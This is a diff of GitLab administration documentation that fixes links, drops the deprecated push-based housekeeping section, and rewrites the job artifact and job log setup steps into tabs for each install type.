a/doc/administration/gitaly/index.md b/doc/administration/gitaly/index.md index 32b44552b1a..b2b6962a222 100644 --- a/doc/administration/gitaly/index.md +++ b/doc/administration/gitaly/index.md @@ -570,9 +570,9 @@ To migrate to Gitaly Cluster: [repository storage recommendations](praefect.md#repository-storage-recommendations). 1. Create and configure [Gitaly Cluster](praefect.md). 1. Configure the existing Gitaly instance [to use TCP](praefect.md#use-tcp-for-existing-gitlab-instances), if not already configured that way. -1. [Move the repositories](../operations/moving_repositories.md#move-repositories). To migrate to +1. [Move the repositories](../operations/moving_repositories.md#moving-repositories). To migrate to Gitaly Cluster, existing repositories stored outside Gitaly Cluster must be moved. There is no - automatic migration but the moves can be scheduled with the GitLab API. + automatic migration, but the moves can be scheduled with the GitLab API. Even if you don't use the `default` repository storage, you must ensure it is configured. [Read more about this limitation](configure_gitaly.md#gitlab-requires-a-default-repository-storage). @@ -583,7 +583,7 @@ If the limitations and tradeoffs of Gitaly Cluster are found to be not suitable off Gitaly Cluster to a sharded Gitaly instance: 1. Create and configure a new [Gitaly server](configure_gitaly.md#run-gitaly-on-its-own-server). -1. [Move the repositories](../operations/moving_repositories.md#move-repositories) to the newly created storage. You can +1. [Move the repositories](../operations/moving_repositories.md#moving-repositories) to the newly created storage. You can move them by shard or by group, which gives you the opportunity to spread them over multiple Gitaly servers. ## Direct access to Git in GitLab diff --git a/doc/administration/gitaly/praefect.md b/doc/administration/gitaly/praefect.md index 9cc93b21ae9..8b4750b299d 100644 --- a/doc/administration/gitaly/praefect.md +++ b/doc/administration/gitaly/praefect.md @@ -177,9 +177,10 @@ database on the same PostgreSQL server if using [Geo](../geo/index.md). The replication state is internal to each instance of GitLab and should not be replicated. -These instructions help set up a single PostgreSQL database, which creates a single point of -failure. To avoid this, you can configure your own clustered PostgreSQL. Support for PostgreSQL replication and failover using Omnibus GitLab is being tracked in -[a relevant epic](https://gitlab.com/groups/gitlab-org/-/epics/7814). +These instructions help set up a single PostgreSQL database, which creates a single point of failure. To avoid this, you can configure your own clustered +PostgreSQL. Support for PostgreSQL replication and failover using Omnibus GitLab is proposed in [epic 7814](https://gitlab.com/groups/gitlab-org/-/epics/7814). +Clustered database support for other databases (for example, Praefect and Geo databases) is proposed in +[issue 7292](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/7292). The following options are available: diff --git a/doc/administration/gitaly/troubleshooting.md b/doc/administration/gitaly/troubleshooting.md index 7f5d4b9e443..4b8ed74ec62 100644 --- a/doc/administration/gitaly/troubleshooting.md +++ b/doc/administration/gitaly/troubleshooting.md @@ -169,7 +169,7 @@ Confirm the following are all true: - When any user adds or modifies a file from the repository using the GitLab UI, it immediately fails with a red `401 Unauthorized` banner. -- Creating a new project and [initializing it with a README](../../user/project/working_with_projects.md#create-a-blank-project) +- Creating a new project and [initializing it with a README](../../user/project/index.md#create-a-blank-project) successfully creates the project but doesn't create the README. - When [tailing the logs](https://docs.gitlab.com/omnibus/settings/logs.html#tail-logs-in-a-console-on-the-server) on a Gitaly client and reproducing the error, you get `401` errors diff --git a/doc/administration/housekeeping.md b/doc/administration/housekeeping.md index 584f06ef537..e1b26595bc4 100644 --- a/doc/administration/housekeeping.md +++ b/doc/administration/housekeeping.md @@ -34,7 +34,7 @@ Gitaly can perform housekeeping tasks in a Git repository in two ways: The "eager" housekeeping strategy executes housekeeping tasks in a repository independent of the repository state. This is the default strategy as used by the -[manual trigger](#manual-trigger) and the [push-based trigger](#push-based-trigger). +[manual trigger](#manual-trigger) and the push-based trigger. The eager housekeeping strategy is controlled by the GitLab application. Depending on the trigger that caused the housekeeping job to run, GitLab asks @@ -45,20 +45,14 @@ be slow. ### Heuristical housekeeping -> - [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/2634) in GitLab 14.9 for the [manual trigger](#manual-trigger) and the [push-based trigger](#push-based-trigger) [with a flag](feature_flags.md) named `optimized_housekeeping`. Enabled by default. +> - [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/2634) in GitLab 14.9 for the [manual trigger](#manual-trigger) and the push-based trigger [with a flag](feature_flags.md) named `optimized_housekeeping`. Enabled by default. > - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/353607) in GitLab 14.10. - -FLAG: -On self-managed GitLab, by default this feature is available. To hide the feature, ask an administrator to [disable the feature flag](feature_flags.md) named `optimize_repository`. - -To make it available, ask an administrator to [enable the feature flag](feature_flags.md) named `optimized_housekeeping`. +> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107661) in GitLab 15.8. Feature flag `optimized_housekeeping` removed. The heuristical (or "opportunistic") housekeeping strategy analyzes the repository's state and executes housekeeping tasks only when it finds one or more data structures are insufficiently optimized. This is the strategy used by -[scheduled housekeeping](#scheduled-housekeeping). It can optionally be enabled -for the [manual trigger](#manual-trigger) and the [push-based trigger](#push-based-trigger) -by enabling the `optimized_housekeeping` feature flag. +[scheduled housekeeping](#scheduled-housekeeping). Heuristical housekeeping uses the following information to decide on the tasks it needs to run: @@ -99,7 +93,7 @@ There are different ways in which GitLab runs housekeeping tasks: - A project's administrator can [manually trigger](#manual-trigger) repository housekeeping tasks. -- GitLab can automatically schedule housekeeping tasks [after a number of Git pushes](#push-based-trigger). +- GitLab can automatically schedule housekeeping tasks after a number of Git pushes. - GitLab can [schedule a job](#scheduled-housekeeping) that runs housekeeping tasks for all repositories in a configurable time frame. @@ -120,65 +114,10 @@ To trigger housekeeping tasks manually: 1. Select **Run housekeeping**. This starts an asynchronous background worker for the project's repository. The -background worker executes `git gc`, which performs a number of optimizations. - -<!--- start_remove The following content will be removed on remove_date: '2023-04-22' --> - -### Push-based trigger - -FLAG: -On self-managed GitLab, by default this feature is not available and superseded by [heuristical housekeeping](#heuristical-housekeeping). It is planned to be removed in 15.8. To enable the feature, ask an administrator to [disable the feature flag](feature_flags.md) named `optimize_repository`. - -GitLab automatically runs repository housekeeping tasks after a configured -number of pushes: - -- [`git gc`](https://git-scm.com/docs/git-gc) runs a number of housekeeping tasks such as: - - Compressing Git objects to reduce disk space and increase performance. - - Removing unreachable objects that may have been created from changes to the repository, like force-overwriting branches. -- [`git repack`](https://git-scm.com/docs/git-repack) either: - - Runs an incremental repack, according to a [configured period](#configure-push-based-maintenance). This - packs all loose objects into a new packfile and prunes the now-redundant loose objects. - - Runs a full repack, according to a [configured period](#configure-push-based-maintenance). This repacks all - packfiles and loose objects into a single new packfile, and deletes the old now-redundant loose - objects and packfiles. It also optionally creates bitmaps for the new packfile. -- [`git pack-refs`](https://git-scm.com/docs/git-pack-refs) compresses references - stored as loose files into a single file. - -#### Configure push-based maintenance - -You can change how often these tasks run when pushes occur, or you can turn -them off entirely: - -1. On the top bar, select **Main menu > Admin**. -1. On the left sidebar, select **Settings > Repository**. -1. Expand **Repository maintenance**. -1. In the **Housekeeping** section, configure the housekeeping options. -1. Select **Save changes**. - -The following housekeeping options are available: - -- **Enable automatic repository housekeeping**: Regularly run housekeeping tasks. If you - keep this setting disabled for a long time, Git repository access on your GitLab server becomes - slower and your repositories use more disk space. -- **Incremental repack period**: Number of Git pushes after which an incremental `git repack` is - run. -- **Full repack period**: Number of Git pushes after which a full `git repack` is run. -- **Git GC period**: Number of Git pushes after which `git gc` is run. - -As an example, see the following scenario: - -- Incremental repack period: 10. -- Full repack period: 50. -- Git GC period: 200. - -When the: - -- `pushes_since_gc` value is 50, a `repack -A -l -d --pack-kept-objects` runs. -- `pushes_since_gc` value is 200, a `git gc` runs. +background worker asks Gitaly to perform a number of optimizations. Housekeeping also [removes unreferenced LFS files](../raketasks/cleanup.md#remove-unreferenced-lfs-files) -from your project on the same schedule as the `git gc` operation, freeing up storage space for your -project. +from your project every `200` push, freeing up storage space for your project. ### Scheduled housekeeping diff --git a/doc/administration/incoming_email.md b/doc/administration/incoming_email.md index 826340ad967..2093d55d8c0 100644 --- a/doc/administration/incoming_email.md +++ b/doc/administration/incoming_email.md @@ -304,7 +304,12 @@ gitlab_rails['incoming_email_mailbox_name'] = "inbox" # The IDLE command timeout. gitlab_rails['incoming_email_idle_timeout'] = 60 +# If you are using Microsoft Graph instead of IMAP, set this to false to retain +# messages in the inbox because deleted messages are auto-expunged after some time. +gitlab_rails['incoming_email_delete_after_delivery'] = true + # Whether to expunge (permanently remove) messages from the mailbox when they are marked as deleted after delivery +# Only applies to IMAP. Microsoft Graph will auto-expunge any deleted messages. gitlab_rails['incoming_email_expunge_deleted'] = true ``` @@ -342,7 +347,12 @@ incoming_email: # The IDLE command timeout. idle_timeout: 60 + # If you are using Microsoft Graph instead of IMAP, set this to false to retain + # messages in the inbox because deleted messages are auto-expunged after some time. + delete_after_delivery: true + # Whether to expunge (permanently remove) messages from the mailbox when they are marked as deleted after delivery + # Only applies to IMAP. Microsoft Graph will auto-expunge any deleted messages. expunge_deleted: true ``` @@ -386,7 +396,12 @@ gitlab_rails['incoming_email_mailbox_name'] = "inbox" # The IDLE command timeout. gitlab_rails['incoming_email_idle_timeout'] = 60 +# If you are using Microsoft Graph instead of IMAP, set this to false if you want to retain +# messages in the inbox because deleted messages are auto-expunged after some time. +gitlab_rails['incoming_email_delete_after_delivery'] = true + # Whether to expunge (permanently remove) messages from the mailbox when they are marked as deleted after delivery +# Only applies to IMAP. Microsoft Graph will auto-expunge any deleted messages. gitlab_rails['incoming_email_expunge_deleted'] = true ``` @@ -424,7 +439,12 @@ incoming_email: # The IDLE command timeout. idle_timeout: 60 + # If you are using Microsoft Graph instead of IMAP, set this to falseto retain + # messages in the inbox because deleted messages are auto-expunged after some time. + delete_after_delivery: true + # Whether to expunge (permanently remove) messages from the mailbox when they are marked as deleted after delivery + # Only applies to IMAP. Microsoft Graph will auto-expunge any deleted messages. expunge_deleted: true ``` @@ -467,6 +487,7 @@ gitlab_rails['incoming_email_port'] = 993 gitlab_rails['incoming_email_ssl'] = true # Whether to expunge (permanently remove) messages from the mailbox when they are marked as deleted after delivery +# Only applies to IMAP. Microsoft Graph will auto-expunge any deleted messages. gitlab_rails['incoming_email_expunge_deleted'] = true ``` @@ -497,6 +518,10 @@ incoming_email: # Whether the IMAP server uses SSL ssl: true + # If you are using Microsoft Graph instead of IMAP, set this to false to retain + # messages in the inbox since deleted messages are auto-expunged after some time. + delete_after_delivery: true + # Whether to expunge (permanently remove) messages from the mailbox when they are marked as deleted after delivery expunge_deleted: true ``` @@ -557,6 +582,10 @@ incoming_email: # Whether the IMAP server uses SSL ssl: true + # If you are using Microsoft Graph instead of IMAP, set this to false to retain + # messages in the inbox since deleted messages are auto-expunged after some time. + delete_after_delivery: true + # Whether to expunge (permanently remove) messages from the mailbox when they are marked as deleted after delivery expunge_deleted: true ``` @@ -812,6 +841,7 @@ gitlab_rails['incoming_email_address'] = "incoming+%{key}@example.onmicrosoft.co # Email account username gitlab_rails['incoming_email_email'] = "incoming@example.onmicrosoft.com" +gitlab_rails['incoming_email_delete_after_delivery'] = false gitlab_rails['incoming_email_inbox_method'] = 'microsoft_graph' gitlab_rails['incoming_email_inbox_options'] = { diff --git a/doc/administration/instance_limits.md b/doc/administration/instance_limits.md index 59746fc0f07..5215f0eaed2 100644 --- a/doc/administration/instance_limits.md +++ b/doc/administration/instance_limits.md @@ -912,7 +912,7 @@ An upper and lower limit applies to each of these: The lower limits result in additional diffs being collapsed. The higher limits prevent any more changes from rendering. For more information about these limits, -[read the development documentation](../development/diffs.md#diff-limits). +[read the development documentation](../development/merge_request_concepts/diffs/index.md#diff-limits). ### Merge request reports size limit diff --git a/doc/administration/job_artifacts.md b/doc/administration/job_artifacts.md index fb2f73876e8..816cfcb508d 100644 --- a/doc/administration/job_artifacts.md +++ b/doc/administration/job_artifacts.md @@ -16,26 +16,85 @@ finishes. This feature is enabled by default in all GitLab installations. To disable artifacts site-wide: -**In Omnibus installations:** +::Tabs -1. Edit `/etc/gitlab/gitlab.rb` and add the following line: +:::TabTitle Linux package (Omnibus) + +1. Edit `/etc/gitlab/gitlab.rb`: ```ruby gitlab_rails['artifacts_enabled'] = false ``` -1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + artifacts: + enabled: false + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: -**In installations from source:** + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['artifacts_enabled'] = false + ``` -1. Edit `/home/git/gitlab/config/gitlab.yml` and add or amend the following lines: +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: ```yaml - artifacts: - enabled: false + production: &base + artifacts: + enabled: false + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart ``` -1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect. +::EndTabs ## Storing job artifacts @@ -48,45 +107,63 @@ Most artifacts are compressed by GitLab Runner before being sent to the coordina ### Using local storage -To change the location where the artifacts are stored locally, follow the steps -below. +If you're using the Linux package or have a self-compiled installation, you +can change the location where the artifacts are stored locally. + +NOTE: +For Docker installations, you can change the path where your data is mounted. +For the Helm chart, use +[object storage](https://docs.gitlab.com/charts/advanced/external-object-storage/). -**In Omnibus installations:** +::Tabs -_The artifacts are stored by default in -`/var/opt/gitlab/gitlab-rails/shared/artifacts`._ +:::TabTitle Linux package (Omnibus) -1. To change the storage path for example to `/mnt/storage/artifacts`, edit +The artifacts are stored by default in `/var/opt/gitlab/gitlab-rails/shared/artifacts`. + +1. To change the storage path, for example to `/mnt/storage/artifacts`, edit `/etc/gitlab/gitlab.rb` and add the following line: ```ruby gitlab_rails['artifacts_path'] = "/mnt/storage/artifacts" ``` -1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` -**In installations from source:** +:::TabTitle Self-compiled (source) -_The artifacts are stored by default in -`/home/git/gitlab/shared/artifacts`._ +The artifacts are stored by default in `/home/git/gitlab/shared/artifacts`. -1. To change the storage path for example to `/mnt/storage/artifacts`, edit +1. To change the storage path, for example to `/mnt/storage/artifacts`, edit `/home/git/gitlab/config/gitlab.yml` and add or amend the following lines: ```yaml - artifacts: - enabled: true - path: /mnt/storage/artifacts + production: &base + artifacts: + enabled: true + path: /mnt/storage/artifacts ``` -1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect. +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs ### Using object storage If you don't want to use the local disk where GitLab is installed to store the artifacts, you can use an object storage like AWS S3 instead. -This configuration relies on valid AWS credentials to be configured already. -Use an object storage option like AWS S3 to store job artifacts. If you configure GitLab to store artifacts on object storage, you may also want to [eliminate local disk usage for job logs](job_logs.md#prevent-local-disk-usage). @@ -96,149 +173,110 @@ WARNING: In a multi-server setup you must use one of the options to [eliminate local disk usage for job logs](job_logs.md#prevent-local-disk-usage), or job logs could be lost. -[Read more about using object storage with GitLab](object_storage.md). - -#### Object Storage Settings - In GitLab 13.2 and later, you should use the [consolidated object storage settings](object_storage.md#consolidated-object-storage-configuration). -This section describes the earlier configuration format. -For source installations the following settings are nested under `artifacts:` -and then `object_store:`. On Omnibus GitLab installs they are prefixed by -`artifacts_object_store_`. +### Migrating to object storage -| Setting | Default | Description | -|---------------------|---------|-------------| -| `enabled` | `false` | Enable or disable object storage. | -| `remote_directory` | | The bucket name where Artifacts are stored. Use the name only, do not include the path. | -| `proxy_download` | `false` | Set to `true` to enable proxying all files served. Option allows to reduce egress traffic as this allows clients to download directly from remote storage instead of proxying all data. | -| `connection` | | Various connection options described below. | +You can migrate the job artifacts from local storage to object storage. The +processing is done in a background worker and requires **no downtime**. -#### Connection settings +1. [Configure the object storage](#using-object-storage). +1. Migrate the artifacts: -See [the available connection settings for different providers](object_storage.md#connection-settings). + ::Tabs -**In Omnibus installations:** + :::TabTitle Linux package (Omnibus) -_The artifacts are stored by default in -`/var/opt/gitlab/gitlab-rails/shared/artifacts`._ + ```shell + sudo gitlab-rake gitlab:artifacts:migrate + ``` -1. Edit `/etc/gitlab/gitlab.rb` and add the following lines, substituting - the values you want: + :::TabTitle Docker - ```ruby - gitlab_rails['artifacts_enabled'] = true - gitlab_rails['artifacts_object_store_enabled'] = true - gitlab_rails['artifacts_object_store_remote_directory'] = "artifacts" - gitlab_rails['artifacts_object_store_connection'] = { - 'provider' => 'AWS', - 'region' => 'eu-central-1', - 'aws_access_key_id' => 'AWS_ACCESS_KEY_ID', - 'aws_secret_access_key' => 'AWS_SECRET_ACCESS_KEY' - } + ```shell + sudo docker exec -t <container name> gitlab-rake gitlab:artifacts:migrate ``` - NOTE: - If you're using AWS IAM profiles, omit the AWS access key and secret access - key/value pairs. For example: + :::TabTitle Self-compiled (source) - ```ruby - gitlab_rails['artifacts_object_store_connection'] = { - 'provider' => 'AWS', - 'region' => 'eu-central-1', - 'use_iam_profile' => true - } + ```shell + sudo -u git -H bundle exec rake gitlab:artifacts:migrate RAILS_ENV=production ``` -1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -1. [Migrate any existing local artifacts to the object storage](#migrating-to-object-storage). + ::EndTabs -**In installations from source:** +1. Optional. Track the progress and verify that all job artifacts migrated + successfully using the PostgreSQL console. + 1. Open a PostgreSQL console: -_The artifacts are stored by default in -`/home/git/gitlab/shared/artifacts`._ + ::Tabs -1. Edit `/home/git/gitlab/config/gitlab.yml` and add or amend the following - lines: + :::TabTitle Linux package (Omnibus) - ```yaml - artifacts: - enabled: true - object_store: - enabled: true - remote_directory: "artifacts" # The bucket name - connection: - provider: AWS # Only AWS supported at the moment - aws_access_key_id: AWS_ACCESS_KEY_ID - aws_secret_access_key: AWS_SECRET_ACCESS_KEY - region: eu-central-1 - ``` + ```shell + sudo gitlab-psql + ``` -1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect. -1. [Migrate any existing local artifacts to the object storage](#migrating-to-object-storage). + :::TabTitle Docker -### Migrating to object storage + ```shell + sudo docker exec -it <container_name> /bin/bash + gitlab-psql + ``` -After [configuring the object storage](#using-object-storage), use the following task to -migrate existing job artifacts from the local storage to the remote storage. -The processing is done in a background worker and requires **no downtime**. + :::TabTitle Self-compiled (source) -**In Omnibus installations:** + ```shell + sudo -u git -H psql -d gitlabhq_production + ``` -```shell -gitlab-rake gitlab:artifacts:migrate -``` + ::EndTabs -**In installations from source:** + 1. Verify that all packages migrated to object storage with the following + SQL query. The number of `objectstg` should be the same as `total`: -```shell -sudo -u git -H bundle exec rake gitlab:artifacts:migrate RAILS_ENV=production -``` + ```shell + gitlabhq_production=# SELECT count(*) AS total, sum(case when file_store = '1' then 1 else 0 end) AS filesystem, sum(case when file_store = '2' then 1 else 0 end) AS objectstg FROM ci_job_artifacts; -You can optionally track progress and verify that all job artifacts migrated successfully using the -[PostgreSQL console](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database): + total | filesystem | objectstg + ------+------------+----------- + 19 | 0 | 19 + ``` -- `sudo gitlab-rails dbconsole` for Omnibus GitLab 14.1 and earlier. -- `sudo gitlab-rails dbconsole --database main` for Omnibus GitLab 14.2 and later. -- `sudo -u git -H psql -d gitlabhq_production` for source-installed instances. +1. Verify that there are no files on disk in the `artifacts` directory: -Verify `objectstg` below (where `store=2`) has count of all job artifacts: + ::Tabs -```shell -gitlabhq_production=# SELECT count(*) AS total, sum(case when file_store = '1' then 1 else 0 end) AS filesystem, sum(case when file_store = '2' then 1 else 0 end) AS objectstg FROM ci_job_artifacts; + :::TabTitle Linux package (Omnibus) -total | filesystem | objectstg -------+------------+----------- - 19 | 0 | 19 -``` + ```shell + sudo find /var/opt/gitlab/gitlab-rails/shared/artifacts -type f | grep -v tmp | wc -l + ``` -Verify that there are no files on disk in the `artifacts` folder: + :::TabTitle Docker -```shell -sudo find /var/opt/gitlab/gitlab-rails/shared/artifacts -type f | grep -v tmp | wc -l -``` + Assuming you mounted `/var/opt/gitlab` to `/srv/gitlab`: -In some cases, you need to run the [orphan artifact file cleanup Rake task](../raketasks/cleanup.md#remove-orphan-artifact-files) -to clean up orphaned artifacts. + ```shell + sudo find /srv/gitlab/gitlab-rails/shared/artifacts -type f | grep -v tmp | wc -l + ``` -WARNING: -JUnit test report artifact (`junit.xml.gz`) migration -[was not supported until GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/27698#note_317190991) -by the `gitlab:artifacts:migrate` Rake task. + :::TabTitle Self-compiled (source) -### Migrating from object storage to local storage + ```shell + sudo find /home/git/gitlab/shared/artifacts -type f | grep -v tmp | wc -l + ``` -**In Omnibus installations:** + ::EndTabs -To migrate back to local storage: +In some cases, you need to run the [orphan artifact file cleanup Rake task](../raketasks/cleanup.md#remove-orphan-artifact-files) +to clean up orphaned artifacts. -1. Run `gitlab-rake gitlab:artifacts:migrate_to_local`. -1. Disable object storage for artifacts in `gitlab.rb`: - - Set `gitlab_rails['artifacts_object_store_enabled'] = false`. - - Comment out all other `artifacts_object_store` settings, including the entire - `artifacts_object_store_connection` section, including the closing `}`. -1. [Reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure). +### Migrating from object storage to local storage + +To migrate back to local storage, you must +[selectively disable the artifacts storage](object_storage.md#selectively-disabling-object-storage). ## Expiring artifacts @@ -247,36 +285,93 @@ an expiry for the artifacts, they are marked for deletion right after that date Otherwise, they expire per the [default artifacts expiration setting](../user/admin_area/settings/continuous_integration.md). Artifacts are cleaned up by the `expire_build_artifacts_worker` cron job which Sidekiq -runs every 7 minutes (`*/7 * * * *`). +runs every 7 minutes (`*/7 * * * *` in [Cron](../topics/cron/index.md) syntax). + +To change the default schedule on which the artifacts are expired: -To change the default schedule on which the artifacts are expired, follow the -steps below. +::Tabs -**In Omnibus installations:** +:::TabTitle Linux package (Omnibus) -1. Edit `/etc/gitlab/gitlab.rb` and add the following line (or uncomment it if it already exists and is commented out), substituting - your schedule in cron syntax: +1. Edit `/etc/gitlab/gitlab.rb` and add the following line (or uncomment it if + it already exists and is commented out), substituting your schedule in cron + syntax: ```ruby gitlab_rails['expire_build_artifacts_worker_cron'] = "*/7 * * * *" ``` -1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. +1. Save the file and reconfigure GitLab: -**In installations from source:** + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Export the Helm values: -1. Edit `/home/git/gitlab/config/gitlab.yml` and add or amend the following - lines: + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: ```yaml - expire_build_artifacts_worker: - cron: "*/7 * * * *" + global: + appConfig: + cron_jobs: + expire_build_artifacts_worker: + cron: "*/7 * * * *" ``` -1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect. +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['expire_build_artifacts_worker_cron'] = "*/7 * * * *" + ``` -If the `expire` directive is not set explicitly in your pipeline, artifacts expire per the -default artifacts expiration setting, which you can find in the [CI/CD Administration settings](../user/admin_area/settings/continuous_integration.md). +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + cron_jobs: + expire_build_artifacts_worker: + cron: "*/7 * * * *" + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs ## Set the maximum file size of the artifacts @@ -373,13 +468,41 @@ these artifacts are not processed by the new housekeeping jobs. You can check the database to confirm if your instance has artifacts with the `unknown` status: -1. Start a database console, on Omnibus: +1. Start a database console: + + ::Tabs + + :::TabTitle Linux package (Omnibus) ```shell sudo gitlab-psql ``` -1. Run this query: + :::TabTitle Helm chart (Kubernetes) + + ```shell + # Find the toolbox pod + kubectl --namespace <namespace> get pods -lapp=toolbox + # Connect to the PostgreSQL console + kubectl exec -it <toolbox-pod-name> -- /srv/gitlab/bin/rails dbconsole --include-password --database main + ``` + + :::TabTitle Docker + + ```shell + sudo docker exec -it <container_name> /bin/bash + gitlab-psql + ``` + + :::TabTitle Self-compiled (source) + + ```shell + sudo -u git -H psql -d gitlabhq_production + ``` + + ::EndTabs + +1. Run the following query: ```sql select expire_at, file_type, locked, count(*) from ci_job_artifacts @@ -652,7 +775,7 @@ review: {"error":"MissingRegion: could not find region configuration","level":"error","msg":"error uploading S3 session","time":"2021-03-16T22:10:55-04:00"} ``` -In both cases, you might need to add `region` to the job artifact [object storage configuration](#connection-settings). +In both cases, you might need to add `region` to the job artifact [object storage configuration](object_storage.md). ### Job artifact upload fails with `500 Internal Server Error (Missing file)` diff --git a/doc/administration/job_logs.md b/doc/administration/job_logs.md index 9b25c70716b..c8702260ccb 100644 --- a/doc/administration/job_logs.md +++ b/doc/administration/job_logs.md @@ -7,8 +7,6 @@ type: reference # Job logs **(FREE SELF)** -> [Renamed from job traces to job logs](https://gitlab.com/gitlab-org/gitlab/-/issues/29121) in GitLab 12.5. - Job logs are sent by a runner while it's processing a job. You can see logs in job pages, pipelines, email notifications, and so on. @@ -23,82 +21,125 @@ In the following table you can see the phases a log goes through: | 2: archiving | archived log | After a job is finished | Sidekiq moves log to artifacts folder | `#{ROOT_PATH}/gitlab-rails/shared/artifacts/#{disk_hash}/#{YYYY_mm_dd}/#{job_id}/#{job_artifact_id}/job.log` | | 3: uploading | archived log | After a log is archived | Sidekiq moves archived log to [object storage](#uploading-logs-to-object-storage) (if configured) | `#{bucket_name}/#{disk_hash}/#{YYYY_mm_dd}/#{job_id}/#{job_artifact_id}/job.log` | -The `ROOT_PATH` varies per environment. For Omnibus GitLab it -would be `/var/opt/gitlab`, and for installations from source -it would be `/home/git/gitlab`. +The `ROOT_PATH` varies per environment: + +- For the Linux package it's `/var/opt/gitlab`. +- For self-compiled installations it's `/home/git/gitlab`. ## Changing the job logs local location -To change the location where the job logs are stored, follow the steps below. +NOTE: +For Docker installations, you can change the path where your data is mounted. +For the Helm chart, use object storage. -**In Omnibus installations:** +To change the location where the job logs are stored: -1. Edit `/etc/gitlab/gitlab.rb` and add or amend the following line: +::Tabs - ```ruby - gitlab_ci['builds_directory'] = '/mnt/to/gitlab-ci/builds' - ``` +:::TabTitle Linux package (Omnibus) -1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the - changes to take effect. +1. Optional. If you have existing job logs, pause continuous integration data + processing by temporarily stopping Sidekiq: -Alternatively, if you have existing job logs you can follow -these steps to move the logs to a new location without losing any data. + ```shell + sudo gitlab-ctl stop sidekiq + ``` -1. Pause continuous integration data processing by updating this setting in `/etc/gitlab/gitlab.rb`. - Jobs in progress are not affected, based on how [data flow](#data-flow) works. +1. Set the new storage location in `/etc/gitlab/gitlab.rb`: ```ruby - sidekiq['queue_selector'] = true - sidekiq['queue_groups'] = [ - "feature_category!=continuous_integration" - ] + gitlab_ci['builds_directory'] = '/mnt/gitlab-ci/builds' ``` -1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the - changes to take effect. -1. Set the new storage location in `/etc/gitlab/gitlab.rb`: +1. Save the file and reconfigure GitLab: - ```ruby - gitlab_ci['builds_directory'] = '/mnt/to/gitlab-ci/builds' + ```shell + sudo gitlab-ctl reconfigure ``` -1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the - changes to take effect. 1. Use `rsync` to move job logs from the current location to the new location: ```shell - sudo rsync -avzh --remove-source-files --ignore-existing --progress /var/opt/gitlab/gitlab-ci/builds/ /mnt/to/gitlab-ci/builds` + sudo rsync -avzh --remove-source-files --ignore-existing --progress /var/opt/gitlab/gitlab-ci/builds/ /mnt/gitlab-ci/builds/ ``` Use `--ignore-existing` so you don't override new job logs with older versions of the same log. -1. Resume continuous integration data processing by editing `/etc/gitlab/gitlab.rb` and removing the `sidekiq` setting you updated earlier. -1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the - changes to take effect. + +1. If you opted to pause the continuous integration data processing, you can + start Sidekiq again: + + ```shell + sudo gitlab-ctl start sidekiq + ``` + 1. Remove the old job logs storage location: ```shell - sudo rm -rf /var/opt/gitlab/gitlab-ci/builds` + sudo rm -rf /var/opt/gitlab/gitlab-ci/builds ``` -**In installations from source:** +:::TabTitle Self-compiled (source) + +1. Optional. If you have existing job logs, pause continuous integration data + processing by temporarily stopping Sidekiq: + + ```shell + # For systems running systemd + sudo systemctl stop gitlab-sidekiq + + # For systems running SysV init + sudo service gitlab stop + ``` -1. Edit `/home/git/gitlab/config/gitlab.yml` and add or amend the following lines: 